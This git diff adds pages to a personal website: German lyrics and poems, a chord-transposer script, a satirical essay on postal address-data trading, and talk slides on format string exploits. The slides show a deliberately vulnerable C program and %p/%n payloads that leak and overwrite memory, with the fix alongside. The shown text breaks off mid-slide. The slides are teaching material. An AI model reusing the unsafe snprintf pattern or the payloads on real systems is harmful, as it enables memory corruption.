lyrics-chords-above + +| :crd:`F`\ *Ist doch scheiss*:crd:`g`\ *egal wo du bist,* +| :crd:`g`\ *mach ich die* :crd:`C4`\ *Augen zu, bist du einfach* :crd:`B`\ *hier.* +| :crd:`C4`\ *und wo mein* :crd:`g`\ *Arm zuende ist* +| *reicht die* :crd:`F`\ *Waerme des Ge*:crd:`Fis`\ *dankens bis zu* :crd:`g`\ *dir.* + +| Um den Verstand nicht zu verliern +| um nicht im kalten Bett zu friern +| solln sich diese Worte neben +| dich ins leere Kissen legen +| +| Halt mich noch fest in deinen Traeumen +| um die schwarze Nacht zu zaeumen - wo du auch bist +| +| Leg deinen Arm um dieses Lied +| wenn nur dein Herz allein mich sieht +| und denk an all die Zaertlichkeiten +| die nur Worte dir bereiten +| +| Halt mich noch fest in deinen Traeumen +| um die Grenzen wegzuraeumen - zwischen dir und mir +| +| *Ist doch scheissegal wo du bist,* +| *mach ich die Augen zu, bist du einfach hier.* +| *und wo mein Arm zuende ist* +| *reicht die Waerme des Gedankens bis zu dir.* +| +| Um dich nicht nochmal zu verliern +| um zu begreifen was wir spuern +| flieg ich dir einfach hinterher +| jede Nacht noch einmal mehr +| +| Lass dich nie los in meinem Leben +| um dir auch ganz gewiss zu geben - was dir gebuehrt diff --git a/stories/music/Wiese.rst b/stories/music/Wiese.rst new file mode 100644 index 0000000..051c1bd --- /dev/null +++ b/stories/music/Wiese.rst @@ -0,0 +1,47 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 1999/08/03 19:10:08 +.. title: Wiese +.. slug: ../arts/music/Wiese + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="Wiese.mp3" type="audio/mpeg"><a href="Wiese.mp3">Wiese.mp3</a></audio>` + +| Als schon verdorrt Frucht/ +| Ziehst du in deine Schlacht/ +| Und tiefe Furchen in dein Feld/ +| Mit deinem eisernen Pflug/ +| +| *Und dann liegst du auf der Wiese/* +| *Guckst dir den Sternenhimmel an/* +| *Doch die Tapete broeckelt leise/* +| *Und sie faellt auf dich herab/* +| +| Nach dem ersten grossen Sturm/ +| Saehst du deine Liebe aus/ +| Legst deinen Samen auf dein Feld/ +| Und bedeckst ihn mit Zeit/ +| +| *Und dann liegst du auf der Wiese/* +| *Und schaust am Sonnenlicht vorbei/* +| *Ach, der Himmel scheint so trostlos/* +| *Und er faellt auf dich herab/* +| +| Auf die Duerre folgt der Herbst/ +| Du schaust auf dein braches Feld/ +| Von Ratten ist das Korn zernagt/ +| Die Sense steht fuer dich bereit/ +| +| *Und dann liegst du auf der Wiese/* +| *Und schaust dir die Wuermer an/* +| *Ach, das warten dauert ewig/* +| *Endlich zieht es dich hinab/* +| +| *Und dann liegst du auf der Wiese/* +| *Und starrst das letzte Mal zum Mond/* +| *Durch die Loecher in dem Holz/* +| *Das man fuer dich vergraben wird/* + diff --git a/stories/music/index.rst b/stories/music/index.rst new file mode 100644 index 0000000..2d46eda --- /dev/null +++ b/stories/music/index.rst @@ -0,0 +1,41 @@ +.. link: +.. description: erdgeists music +.. tags: +.. date: 1970/01/01 01:00:00 +.. title: music +.. slug: index +.. hidetitle: + +During my life I've experimented with several kinds of making noise. Here are some of them. + +---- + +Liedermacher +============ + +.. post-list:: + :all: + :tags: Liedermacher + :id: singersongwriter + :template: list_poetry.tmpl + +And because friends of mine could not properly play barré accords, I've built them my online `transpose tool <transpose.html>`_. + +---- + +Punk Rocker +=========== + +A short and wild detour through amplified guitars. The band was `pumpanickle <http://pumpanickle.de>`_ and we even had a `music video <../arts/music/From_Me_To_You.html>`_. + +.. post-list:: + :all: + :tags: pumpanickle + :id: band + :template: list_poetry.tmpl + +---- + +Titelmelodien +============= + diff --git a/stories/music/transpose.rst b/stories/music/transpose.rst new file mode 100644 index 0000000..4b34b42 --- /dev/null +++ b/stories/music/transpose.rst @@ -0,0 +1,115 @@ +.. link: +.. description: +.. tags: +.. date: 1998/08/03 19:10:08 +.. title: Live no-barré transposer tool +.. slug: ../music/transpose + +.. raw:: html + + <script> + function addRow() { + var row = document.getElementById("chord-row-0"); + var addbutton = document.getElementById("addButton"); + var ourdiv = document.getElementById("transposer"); + var cloned = row.cloneNode(true); + var newid = window.rowid || 1; + window.rowid = newid + 1; + cloned.setAttribute( "id", "chord-row-" + newid ); + ourdiv.insertBefore(cloned, addbutton); + } + function isbarre(nv) { + var nobarre = [0,2,5,24,25,26,27,28,29,48,49,50,51,52,53,65,84,86,88,108,109,110,111,112,113,132,134]; + for( var len = nobarre.length, i=0; i<len; ++i ) + if( nobarre[i] == nv ) + return 0; + return 1; + } + function note_to_name(nv) { + return ["C","C#","D","D#","E","F","F#","G","G#","A","B","H"][~~(nv/12)]+["","m","7","m7","maj6","maj7"][nv%12]; + } + function updateTrans() { + var resulttext = document.getElementById("result"); + var notelist = document.getElementsByClassName("chord-row"); + var impossible_offsets = 0; + var notes = []; + + for (var len = notelist.length, i=0; i<len; ++i) { + var note = notelist[i].getElementsByClassName("note"); + var modifier = notelist[i].getElementsByClassName("modifier"); + var nv = 1 * note[0].value; + var mv = 1 * modifier[0].value; + if( nv >= 0 ) { + notes.push( ( nv * 12 ) + mv ); + // test all transpositions for suitable chords + for (var off = 0; off < 12; ++off ) { + if ( isbarre( mv + 12 * ( ( nv + off ) % 12 ) ) ) + impossible_offsets |= 1<<off; + } + } + } + if( impossible_offsets == 0xfff ) { + resulttext.innerHTML = 'Keine Transposition / Not possible'; + } else { + var outtext = ''; + for( var off = 0; off < 12; ++off ) { + if( !( impossible_offsets & (1<<off) ) ) { + outtext += '<table><tr><th>original</th><th>transpose</th></tr>'; + for( var len = notes.length, i=0; i<len; ++i ) { + var transposed = 12 * ( ( ~~( notes[i] / 12 ) + off ) % 12 ) + ( notes[i] % 12 ); + if( ( ( notes %12 ) != 2 ) && transposed == 132 ) + outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>H7 (unclean)</td></td>"; + else + outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>" + note_to_name(transposed) + "</td></tr>"; + } + } + } + resulttext.innerHTML = outtext + "</table>"; + } + } + + </script> + <style> + table { + border: 1px black solid; + border-collapse: none; + margin: 2em 2em 0em 0em; + float: left; + } + td, th { + padding: 8px; + border: 1px silver dotted; + } + .chord-row, .addButton { + margin-bottom: 1em; + } + </style> + <div id="transposer"> + <div class="chord-row" id="chord-row-0"> + <select class="note" onchange="updateTrans()"> + <option value="-1">Note</option> + <option value="0">C</option> + <option value="1">C# / Db</option> + <option value="2">D</option> + <option value="3">D# / Eb</option> + <option value="4">E</option> + <option value="5">F</option> + <option value="6">F# / Gb</option> + <option value="7">G</option> + <option value="8">G# / Ab</option> + <option value="9">A</option> + <option value="10">A# / B</option> + <option value="10">H</option> + </select> + <select class="modifier" onchange="updateTrans()"> + <option value="0">Dur / major</option> + <option value="1">Moll / minor</option> + <option value="2">7</option> + <option value="3">Moll7 / min7</option> + <option value="4">Maj6</option> + <option value="5">Maj7</option> + </select> + </div> + <button id="addButton" type="button" onclick="addRow()">+</button> + <div id="result"></div> + </div> diff --git a/stories/photos/index.rst b/stories/photos/index.rst new file mode 100644 index 0000000..de8a37e --- /dev/null +++ b/stories/photos/index.rst @@ -0,0 +1,9 @@ +.. link: +.. description: erdgeists photos +.. tags: +.. date: 2013/08/03 19:10:08 +.. title: photos +.. slug: index +.. hidetitle: + +Here's gonna be a gallery diff --git a/stories/poetry/Datenschleuder-BoesePost b/stories/poetry/Datenschleuder-BoesePost new file mode 100644 index 0000000..b758203 --- /dev/null +++ b/stories/poetry/Datenschleuder-BoesePost @@ -0,0 +1,13 @@ +Httet ihr's gedacht? Sie kommen teils in aller Herrgottsfrhe, manmal aber auch mitten am Tag, nur um euch auszuspionieren. Zu jedem. Sehr gewissenhaft. Fast tglich. Sie schauen nach, ob ihr auch wirklich noch in eurem zuhause wohnt. Und sie notieren das und jede Vernderung, auch sehr gewissenhaft, auf kleinen Krtchen, die sie dann treu zurck zu Herrchen bringen. Glaubt ihr nicht? Was meint ihr, warum die GEZ meist schon vor euren Eltern weiss, wenn ihr eine neue Wohung bezogen habt und das ohne, dass ihr ein Gratisabo abgefasst, oder an einer Verlosung teilgenommen habt (was ja die blichen Verdchtigen in diesem Fall wren)? Bin ich ein paranoider Spinner? Bestimmt. Aber kurzes Nachdenken darber, fr wen sich dieser Riesenaufwand lohnen knnte, entlarvt die beltter: man mte dazu ein riesiges Heer an Bediensteten haben, die sowieso zu jedem nach Hause mssen und know how mit Adressen, Strassen und Postleitzahlen ha.... POST-Leitzahlen, genau! Nach [1] eigener Angabe "erhalten 62.500 Zustellbezirke von der Deutschen Post Direkt eine Karte zur Prfung von maximal zehn Adressen" und "durch diese Vorgehensweise wird jede Adresse im Durchschnitt mehr als zwei mal pro Jahr berprft". Macht schon Sinn, die Post mu "natrlich" den berblick behalten, wer wohin verzogen, wer gestorben ist und berhaupt... Die armen Zusteller werden nun bei ihren Aueneinstzen ohne ihr Wissen auch noch als Datengoldgrber ausgenutzt, denn: [2] "Adress-Vermietung: Gewinnen Sie neue Interessenten und Kunden: Sie bestimmen die Kriterien, z. B. Kaufkraft, Alter, wir stellen die Adressen fr Ihre Direktmarketing-Aktionen bereit. Fr einen greren Kundenstamm." und "Bonittsdaten: CreditCheck liefert online in Sekundenschnelle Bonittsdaten zur Bewertung der Zahlungsmoral von Versandkunden. Fr Ihre Zahlungssicherheit." sind ein untrgliches Anzeichen, da die Post entdeckt hat, da sich mit gltigen Adressen und viel zustzlichem Wissen darber haufenweise Geld scheffeln lt. Na, kommt euch der gelegentliche Plausch mit der Postfrau ber den verstorbenen Nachbarn, den Kredit frs neue Auto oder die pltzliche Arbeitslosigkeit vom Herrn Meier im Vorderhaus pltzlich nicht mehr so harmlos vor? Die Zeiten, in denen ein ehrlicher Postbeamter noch vom Briefe durch die Gegend tragen und abstempeln leben konnte, sind scheinbar vorbei. Heutzutage ist er Garant dafr, da auch ohne das Befolgen der Meldepflicht Informationen ber den aktuellen Verbleib jedes Einzelnen, der seinen Briefkasten mit seinem Namen beklebt, verfgbar sind. Und mit dem [3] "AddressFactory System" kann sich jeder Geheimd^WMittelstndische eine "Grundlage fr professionelles CRM" - Costumer Relation Management schaffen. Das Zauberwort hierbei heit "Adressanreicherung". Bei Angabe von Rasterparametern kann nach passenden potentiellen Kunden gefahndet werden und der eigene Datensatz durch [4] "Qualifizierte Neukundengewinnung bei gleichbleibenden Kosten" aufgefrischt werden. Da die Post, selbstverstndlich, Datenschutz gro schreibt, +werden in ihrem [5] "microdialog"-Angebot, welches sie mit den Firmen "Quelle" und "Neckermann" aufgebaut hat, die Daten auf eine Granularitt von "durchschnittlich 6,8 Haushalte" pro "Mikrozelle" skaliert. Diese Daten haben es aber in sich (Auszug): Status und Kaufkraft, Kulturkreisschwerpunkt, Bonittsrisiko, Werbeaffinitt, Anonymittsbedrfnis, bevorzugte Kommunikationsmedien... Und ohne mit der Wimper zu zucken wird mit dem Service geworben: "Erkennen von Kundensegmenten mit hohem Zahlungsausfallrisiko". Man sollte sich also die 6,8 Haushalte, zu deren Mikrozelle man gehren knnte, mal anschauen, mag sein, dass die NPD ihre Wahlwerbepost genau an dich adressiert, weil du als deutscher Erstwhler in einer Gegend mit Kulturkreisschwerpunkt Islam beheimatet bist, oder ein greres Versandhaus dich nur per Vorkasse beliefert, weil deiner "Mikrozelle" hohes Bonittsrisiko beschieden wird. Bestimmt wirst du nun auch deine Nachbarn nach ganz anderen Mastben sortieren. Und vielleicht erziehst du sie ja mal dazu, endlich ihre Quellerechnungen zu bezahlen oder pflegst den Vorgarten, um das Scoring deiner Siedlung auf Vordermann zu bringen. Dann kommst du womglich auch wieder in den Genu, individuell auf dich zugeschnittener Infopost, die dank "Anreicherung: Wir ergnzen Ihre Adressen um microdialog-Daten" auch dich wieder ins Raster aufnehmen, in dem man wirtschaftlicher Ntztling ist. +Bevor ich es vergesse: ganz Clevere, die in Bestellformularen oder Zeitschriftenabonnoments absichtliche Dreher in ihre Adresse einbauen, um deren Weiterverkauf nachvollziehen zu knnen, werden berrascht sein: Die "Addressfactory System" bietet auch "Korrektur falsch geschriebener Vor- und Nachnamen bei Consumer-Adressen mit Kennzeichnung von unzustellbaren Adressen, Ergnzung von Sexcode und falls vorhanden Titel". Soll heien: Du bekommst deine Post weiter mit dem Dreher, aber verkauft wird sie bereinigt und noch mit deinem Doktortitel versehen. Und das bei Bedarf auch ber das Internet, im Batch. Whrend Preise fr diese Dienstleistungen noch im Netz zu finden sind [6], z.B. 1.15EUR (bei 10000 Einzeldatenstzen) fr deine neue Adresse nach dem Umzug, erfragt man Preise fr Services, die man sich als CD zuschicken lassen kann, am besten telefonisch, ganz diskret. Die rechnen einem dann auch ganz frhlich vor, da auch bei meinem (vllig aus der Luft gegriffenen) Kundenstamm von 30000 Adressen sich nicht lohne, die CD zu kaufen und ich doch deren Webservice benutzen solle, da der Preis bei 7900EUR lge, nur fr Adressverifikation wohlgemerkt (d.h. keine Anwohnerinformationen). Den Preis fr die "Postreferenz-Datei" (die man leider nur im Bndel mit einer DB-Anfragesoftware von [7] Uniserv bekommt, um den Datenschutz zu gewhren), habe ich leider auch nach mehreren Telefonaten mit mehreren Beratern nicht erfahren, wahrscheinlich war ein Kundenstamm im siebenstelligen Bereich doch zu unglaubwrdig. Zumindest ist ein jhrlicher Refresh der Daten dann schon fr die Hlfte zu haben. Und wenn ich die CD mal in die Finger bekme... wrde ich bestimmt das Scoring fr meine Oma direkt aus der Datenbank.... aber das ist ein ganz anderes Thema. + + +[0] http://www.deutschepost.de/postdirekt/... +[1] infoservice/download/pbl_qualitaetsprozess.pdf +[2] infoservice/download/adressmanag_internet.pdf +[3] produkte/addfactory_system.html +[4] produkte/analysis_factory.html +[5] produkte/index_microdialog.html +[6] http://www.postdirekt.de/cgi-bin/afweb2/afweb2.calc +[7] http://www.uniserv.de \ No newline at end of file diff --git a/stories/poetry/Ein_Abend.md b/stories/poetry/Ein_Abend.md new file mode 100644 index 0000000..1202e32 --- /dev/null +++ b/stories/poetry/Ein_Abend.md @@ -0,0 +1,21 @@ +<!-- +.. title: Ein Abend +.. date: 2003/04/01 +.. tags: poetry +--> + +Mit gefalteten Händen lag er auf dem Rücken<br/> +Mitten auf einer Wiese auf einem Holzpodest.<br/> +Würde er hinschauen, würde er den Sonnenuntergang sehen,<br/> +Würde sehen, wie das dunkle Blau einem dunklen Rot weicht.<br/> +Ein roter Sonnenuntergang bedeutet schönes Wetter am Morgen,<br/> +Er würde das denken, wenn es ihn interessieren würde,<br/> +Er würde sich die purpurnen Wolken wegwünschen, um noch-<br/> +Einmal die rote Sonne untergehen zu sehen.<br/> +Am Himmel wurden die ersten Sterne sichtbar,<br/> +An diesem Abend mitten am Firmament.<br/> +Würde es sie interessieren, könnten sie ihn sehen,<br/> +Würde es sie kümmern, sähen sie ihn mitten auf seinem Holzpodest.<br/> +Sie würden sehen, wie er nicht in den Sonnenuntergang schaut.<br/> +Er hätte sie sehen können, hätte er den Sonnenuntergang betrachtet.<br/> +Und sicherlich hätte er lange noch wach dagelegen... diff --git "a/stories/poetry/Gru\303\237karte.md" "b/stories/poetry/Gru\303\237karte.md" new file mode 100644 index 0000000..4b14350 --- /dev/null +++ "b/stories/poetry/Gru\303\237karte.md" @@ -0,0 +1,9 @@ +<!-- +.. title: Grußkarte +.. date: 1996/07/01 +.. tags: poetry +--> + +...! + +Fühl dich nicht gegrüßt. Fühl dich nicht geliebt. Fühl dich nicht adressiert. Fühl dich einfach ignoriert! Glaub nicht einmal, daß du wirklich gemeint warst, vielleicht hat die Post sich ja nur vertan oder ich, als ich im Zustand geistiger Umnachtung deine Adresse mit der des wirklichen Empfängers verwechselt habe. Nagut, fühle dich trotzdem erst einmal angesprochen, dagegen kann ich nämlich überhaupt nichts tun. Diese Karte erfüllt ja auch einfach nur ihren Selbstzweck, nämlich den, verschickt zu werden und meiner Eloquenz und meinem Geltungsdrang Ausdrucksmöglichkeiten zu schaffen. Also bild dir ja nichts darauf ein, oder sei auf keinen Fall stolz darauf, dieses Versandstück zu erhalten, welches bloß durch Zufall meinen Weg im Kaiser's striff und welches ich des angenehmen Anblicks wegen für 2,75 DM erstand und welches einen nicht zu beachtenen Gruß enthielt, der jetzt nichtig ist. Wenn du willst, kannst du diesen Brief serienbriefmäßig weiterverschicken, da er absolut nichts Persönliches oder Gutartiges enthält... daraus schlußfolgernd könntest du auch davon ausgehen, daß dieser Text auch nicht von mir stammt und ich gar nicht die Person war, die diese Karte im Kaiser's erstanden hat, also wäre diese Karte noch unpersönlicher, als ohnehin schon und ich hätte nur noch einmal 1,10 DM für die Briefmarke und 5 Pfennig für einen neuen Umschlag, sowie 0,3 Pfennig für die Tinte, mit der ich die Adresse geschrieben habe, berappt. Sämtliches kreatives Potential, daß du bis eben noch hättest bei mir annehmen können, würde also nicht bei mir liegen, sondern bei wem immer du diese Karte zuschreiben würdest. Und vielleicht bin ja ich, also der, dem du die Karte jetzt schickst, Originator, ich würde mich nicht freuen, gerade von dir diese Karte zurückzubekommen, ich würde nämlich wissen, daß du so blöde warst, dich kreativ zu fühlen, nur, weil du diese Karte weiter geschickt hast. Um dein Ego nun nicht vollends zu strapazieren, halte ich dir nochmal vor Augen, daß ich (oder der neue Absender) mindestens 1,153 DM oder maximal 3,905 DM investiert habe/hat, was wohl ein gewisses Interesse an deiner Unterhaltung oder im schlimmsten Fall an meiner Profilierung voraussetzt, nenne mir nur einen Grund, warum Ersteres zutreffen sollte! Die aufgeführten Investionsrahmenparameter sind aber auch nur Richtgrößen, da ich mindestens die Briefmarke und, wenn du erster Empfänger dieser Karte warst, auch noch die bunte Karte als Werbungskosten von der Steuer abgesetzt habe. Wieviel das ist, hängt letztenendes von meinem Einkomen ab, welches auch noch, um dich jetzt völlig einem Wechselbad der Gefühle preiszugeben, Einfluß darauf hat, welche ideelle Kosten zum alleinigen Preis der materiellen Komponenten dazukommen. Bei einem Stundenlohn von sagen wir 10 Mark kämen wir bei einer Minute Karte aussuchen, zwei Minuten Adresse auf den Umschlag schreiben, einer Minute Karte hineinstecken und 10 Sekunden Brief in den Briefkasten schieben (bei der Post mußte ich ja eh vorbei), auf einen Gegenwert von 52,7 Pfennig. Sollte ich den text nun wirklich selber geschrieben haben (6 Minuten), erhielten wir bei einem Stundenlohn von angenommen 20 Mark auf 1.38 Mark. Macht bisher im besten Fall 5.294 DM, 1.681 DM für den schlechtesten Fall ist aber wohl doch wahrscheinlicher, oder? Denn daß auf der Vorderseite nun ein Symbol positiver Gefühle bis hin zur Liebe prangt, soll kein Anzeichen ähnlicher Gefühle meinerseits dir gegenüber sein, die Existenz dieses Bildes rüht aus einem purem Umkehrschluß, der daraus besteht, daß es keine Karte ohne Bild gab und ich für ein häßliches Bild keine 2,75 DM ausgegeben hätte. Falls du nun aus der Tatsache, daß der Briefumschlag scheinbar liebevoll mit deiner Adresse versehen worden ist, ableitest, ich hätte positive Gefühle beim Ausfüllen der Adresse gehabt, sei versichert, ich schreibe immer so und wenn nicht, habe ich wohl gerade an jemanden anderes gedacht oder gerade Schönschreiben geübt oder mal meine Schablone dabeigehabt. Auch die Annahme, daß ich die Briefmarke angeleckt hätte und die daraus folgende Hoffnung, es können eine erotische Anspielung dahinter stecken, ist absurd. Ich habe auch keinen nassen Schwamm benutzt, was bei den Wasserpreisen heutzutage und dann gerade für einen Brief an dich ein Fopaz wäre. Nimm nun nicht auch noch an, ich würde mich befleißigen, dir darzulegen, wie ich die Briefmarke befestigt habe, lies gefälligst schnell weiter, um die Karte zu schonen, damit du sie eventuell noch weiterverschicken kannst! Solltest du auch noch die Idee haben, diese Karte kommerziell an Schreibwarenläden weiterzugeben, denke daran, daß es da irgendwo einen Urheber des Textes gab und er dich fürchterlich bestrafen wird, auch wenn es ihn ehren könnte, daß du den Text so gut fandest, ihn kommerziell vermarkten zu wollen, wenn es nicht gerade DU gewesen wärst. Aber wenn du die Karte schon in der x. Generation bekommen hättest, wäre es ein Gutes Zeichen dafür, aus der Karte mehr zu machen und vielleicht Geld daraus zu schinden. Was es dich kosten würde, weißt du ja jetzt. Ansonsten bliebe nur noch 1: Hab dich lieb! diff --git a/stories/poetry/MeinVortrag/01.html b/stories/poetry/MeinVortrag/01.html new file mode 100644 index 0000000..d476a90 --- /dev/null +++ b/stories/poetry/MeinVortrag/01.html @@ -0,0 +1,8 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> + <A HREF="02.html">-></A><CENTER> +Format String Exploits + +Christian Carstensen +Dirk Engling +Martin Schobert +</CENTER></PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/02.html b/stories/poetry/MeinVortrag/02.html new file mode 100644 index 0000000..14df688 --- /dev/null +++ b/stories/poetry/MeinVortrag/02.html @@ -0,0 +1,6 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="01.html"><-</A><A HREF="03.html">-></A> +syntax: + + printf( char *format, param1, param2, ... ) +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/03.html b/stories/poetry/MeinVortrag/03.html new file mode 100644 index 0000000..38f1bd1 --- /dev/null +++ b/stories/poetry/MeinVortrag/03.html @@ -0,0 +1,11 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="02.html"><-</A><A HREF="04.html">-></A> +int main( ) { + int a, b; + a = 7; + b = 9; + + printf( "%d %d\n", a, b ); + return 0; +} +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/04.html b/stories/poetry/MeinVortrag/04.html new file mode 100644 index 0000000..d28b181 --- /dev/null +++ b/stories/poetry/MeinVortrag/04.html @@ -0,0 +1,12 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="03.html"><-</A><A HREF="05.html">-></A> +.LC0: + .string "%d %d\n" +main: + [ ... ] + pushl $9 + pushl $7 + pushl $.LC0 + call printf + [ ... ] +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/05.html b/stories/poetry/MeinVortrag/05.html new file mode 100644 index 0000000..e124667 --- /dev/null +++ b/stories/poetry/MeinVortrag/05.html @@ -0,0 +1,27 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="04.html"><-</A><A HREF="06.html">-></A> +int printing( const char *fmt, ...) { + va_list ap; + char output[1024]; + + va_start(ap, fmt); + + while( *fmt ) { + if( *fmt != '%' ) { + putc( *fmt++ ); + } else { /* Parameter substituieren */ + switch( *++fmt ) { + case 'd': + int a = va_arg( ap, int ); + /* Zahl a ausgeben */ + break; + case 's': + char *s = va_arg( ap, char *); + /* String ausgeben */ + .... + } + } + + va_end(ap); +} +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/06.html b/stories/poetry/MeinVortrag/06.html new file mode 100644 index 0000000..1c3fe8d --- /dev/null +++ b/stories/poetry/MeinVortrag/06.html @@ -0,0 +1,8 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="05.html"><-</A><A HREF="07.html">-></A> +#define va_start(ap, var) ((ap) = (va_list)&var) + +#define va_arg(ap, type) *(((type *)ap)++) + +#define va_end(ap) +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/07.html b/stories/poetry/MeinVortrag/07.html new file mode 100644 index 0000000..6a4c25e --- /dev/null +++ b/stories/poetry/MeinVortrag/07.html @@ -0,0 +1,14 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="06.html"><-</A><A HREF="08.html">-></A> +int main( ) { + int a = 0x23232323; + + printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); + return 0; +} + +Liefert einen output von: + +0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 +0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/08.html b/stories/poetry/MeinVortrag/08.html new file mode 100644 index 0000000..35fc0e7 --- /dev/null +++ b/stories/poetry/MeinVortrag/08.html @@ -0,0 +1,16 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="07.html"><-</A><A HREF="09.html">-></A> +int main( ) { + int a; + + printf ( "Ich bin 23 Zeichen lang%n\n", &a); + printf ( "Und printf hat's gezaehlt: %d", a); + + return 0; +} + +Liefert als Ausgabe: + +Ich bin 23 Zeichen lang +Und printf hat's gezaehlt: 23 +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/09.html b/stories/poetry/MeinVortrag/09.html new file mode 100644 index 0000000..53922cd --- /dev/null +++ b/stories/poetry/MeinVortrag/09.html @@ -0,0 +1,13 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="08.html"><-</A><A HREF="10.html">-></A> +in BASIC: + + A = "Hallo" + PRINT A + +in C: + + char *a = "Hallo"; + printf( a ); + +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/10.html b/stories/poetry/MeinVortrag/10.html new file mode 100644 index 0000000..d336ae5 --- /dev/null +++ b/stories/poetry/MeinVortrag/10.html @@ -0,0 +1,10 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="09.html"><-</A><A HREF="11.html">-></A> +int main( int argc, char **argv ) { + char buffer[ 256 ]; + + snprintf( buffer, sizeof buffer, argv[1] ); + + return 0; +} +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/11.html b/stories/poetry/MeinVortrag/11.html new file mode 100644 index 0000000..72c2ba5 --- /dev/null +++ b/stories/poetry/MeinVortrag/11.html @@ -0,0 +1,18 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="10.html"><-</A><A HREF="12.html">-></A> +int main( int argc, char **argv ) { + char buffer[ 256 ]; + +/* !!!FALSCH!!! */ +#if 0 + snprintf( buffer, sizeof buffer, argv[1] ); +#endif + +/* !!!RICHTIG!!! */ +#if 1 + snprintf( buffer, sizeof buffer, "%s", argv[1] ); +#endif + + return 0; +} +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/12.html b/stories/poetry/MeinVortrag/12.html new file mode 100644 index 0000000..7c87622 --- /dev/null +++ b/stories/poetry/MeinVortrag/12.html @@ -0,0 +1,17 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="11.html"><-</A><A HREF="13.html">-></A> +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: %x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/13.html b/stories/poetry/MeinVortrag/13.html new file mode 100644 index 0000000..6137794 --- /dev/null +++ b/stories/poetry/MeinVortrag/13.html @@ -0,0 +1,24 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="12.html"><-</A><A HREF="14.html">-></A> +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: %x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} + +# ./vuln Probierung +test auf: 0xbfbff6d4 +test enthaelt: 0x23232323 + +Probierung +test enthaelt: 0x23232323 +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/14.html b/stories/poetry/MeinVortrag/14.html new file mode 100644 index 0000000..63acc3e --- /dev/null +++ b/stories/poetry/MeinVortrag/14.html @@ -0,0 +1,25 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="13.html"><-</A><A HREF="15.html">-></A> +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: %x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} + +# ./vuln "AAAA%p %p %p %p %p %p %p %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 +0x2805a3a8 0x41414141 0x62317830 0x64356666 +test enthaelt: 0x23232323 +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html new file mode 100644 index 0000000..e132623 --- /dev/null +++ b/stories/poetry/MeinVortrag/15.html @@ -0,0 +1,23 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="14.html"><-</A><A HREF="16.html">-></A> +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: %x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} + +# ./vuln "AAAA%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +Segmentation fault (core dumped) +</PRE></H1></BODY></HTML> diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html new file mode 100644 index 0000000..0644083 --- /dev/null +++ b/stories/poetry/MeinVortrag/16.html @@ -0,0 +1,25 @@ +<HTML><HEAD></HEAD><BODY><H1><PRE> +<A HREF="15.html"><-</A><A HREF="17.html">-></A> +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: 